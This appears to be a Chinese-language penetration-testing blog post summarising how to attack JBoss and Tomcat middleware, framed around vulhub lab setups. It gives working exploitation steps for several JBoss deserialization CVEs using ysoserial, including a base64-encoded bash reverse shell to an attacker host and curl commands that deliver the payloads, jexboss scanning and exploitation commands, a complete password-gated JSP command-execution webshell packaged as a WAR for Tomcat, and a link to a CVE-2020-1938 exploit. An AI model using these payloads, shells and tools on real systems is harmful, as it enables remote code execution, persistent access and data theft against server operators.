中间件利用面总结

2024-09-14 84 0

本篇文章介绍一下中间件相关的利用面

常见的中间件有Jboss、Weblogic、Websphere、Tomcat、Apache、Nginx、IIS

Jboss

由于红蓝对抗中出现Jboss的概率较高,因此记录一下Jboss的利用面

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。

JBoss反序列化(CVE-2017-12149)

漏洞描述

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

影响版本:

Jboss AS 5.x
Jboss AS 6.x

环境搭建:

这里使用vulhub的环境

svn checkout https://github.com/vulhub/vulhub/trunk/jboss/CVE-2017-12149
cd CVE-2017-12149
docker-compose up -d

访问8080端口即可

中间件利用面总结插图

漏洞复现

访问路由/invoker/readonly,见到500状态码

中间件利用面总结插图1

使用ysoserial来生成序列化数据到poc.ser

# 反弹shell命令base64编码
echo "bash -i &>/dev/tcp/xxx/xxx <&1"|base64
YmFzaCAtaSAmPi9kZXYvdGNwLzE4Mi4xNjAuOS4zNS85OTk5IDwmMQo=
# 利用ysoserial的CC5链子生成序列化代码
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSAmPi9kZXYvdGNwLzE4Mi4xNjAuOS4zNS85OTk5IDwmMQo=}|{base64,-d}|{bash,-i}" > poc.ser

传递序列化数据进行攻击

curl http://192.168.119.157:8080/invoker/readonly --data-binary @poc.ser

中间件利用面总结插图2

此时查看vps,成功监听到反弹的shell

中间件利用面总结插图3

漏洞分析

该漏洞存在于http invoker 组件的 ReadOnlyAccessFilter 的doFilter中。如下图所示:

中间件利用面总结插图4

方法中的代码在没有进行任何安全检查的情况下,将来自客户端的数据流(request.getInputStream())进行了反序列化操作(红色箭头所示),从而导致了反序列化漏洞。

JBossMQ反序列化(CVE-2017-7504)

漏洞描述:

Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

影响版本:

Jboss 4.x

环境搭建

svn checkout https://github.com/vulhub/vulhub/trunk/jboss/CVE-2017-7504
cd CVE-2017-7504
docker-compose up -d

该漏洞出现在/jbossmq-httpil/HTTPServerILServlet请求中,我们借助ysoserial的eCommonsCollections5利用链来复现。生成Payload:

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "touch /tmp/success" > 1.ser

我们将1.ser文件内容作为POST Body发送:

curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser

中间件利用面总结插图5

执行docker-compose exec jboss bash进入容器,可见/tmp/success已成功创建。

JBoss JMXInvokerServlet 反序列化漏洞

漏洞描述:

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

环境搭建:

参考CVE-2017-7504

漏洞利用:

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "touch /tmp/success" > 1.ser
curl http://your-ip:8080/invoker/JMXInvokerServlet --data-binary @1.ser

利用工具

jexboss

项目地址:https://github.com/joaomatosf/jexboss

项目介绍:

JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms, Frameworks, Applications, etc.

简称:JBoss应用服务器攻击及其他Java平台攻击神器

Windows安装:

PATH=$PATH:C:\Python27\
PATH=$PATH:C:\Python27\Scripts
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

攻击组件:

中间件利用面总结插图6

扫描模式:

python jexboss.py -mode auto-scan -network 192.168.119.0/24 -ports 8080 -results results.txt

中间件利用面总结插图7

定点利用:

python2 jexboss.py -u http://192.168.119.157:8080/

中间件利用面总结插图8

反弹shell成功

中间件利用面总结插图9

JbossScan

项目地址:

https://github.com/GGyao/jbossScan

项目介绍:

扫描jboss漏洞

将url放入target.txt

python .\jbossScan.py

中间件利用面总结插图10

JBoss漏洞检测工具 by lab

中间件利用面总结插图11

Tomcat

Tomcat部署war

前提条件:能够进入Tomat管理后台

中间件利用面总结插图12

准备恶意webshell

<%@ page language="java" contentType="text/html; charset=GBK"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>horse</title>
</head>

<body>
<%
if ("admin".equals(request.getParameter("pwd"))) {
java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len = -1;
byte[] bytes = new byte[4092];
out.print("<pre>");
while ((len = input.read(bytes)) != -1) {
out.println(new String(bytes, "GBK"));
}
out.print("</pre>");
}
%>
</body>

</html>

打包成war包

jar -cvf [war包名称].war 打包目录
jar -cvf test.war *

将test.war通过部署war包的形式上传

中间件利用面总结插图13

即可在网站对应目录下访问到webshell

中间件利用面总结插图14

Tomcat任意文件读取(cve-2020-1938)

前提条件:

  • Apache Tomcat 9.0.0.M1 到 9.0.0.30

  • Apache Tomcat 8.5.0 到 8.5.50

  • Apache Tomcat 7.0.0 到 7.0.99

利用脚本:

https://github.com/zhzyker/exphub/blob/master/tomcat/cve-2020-1938_exp.py


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论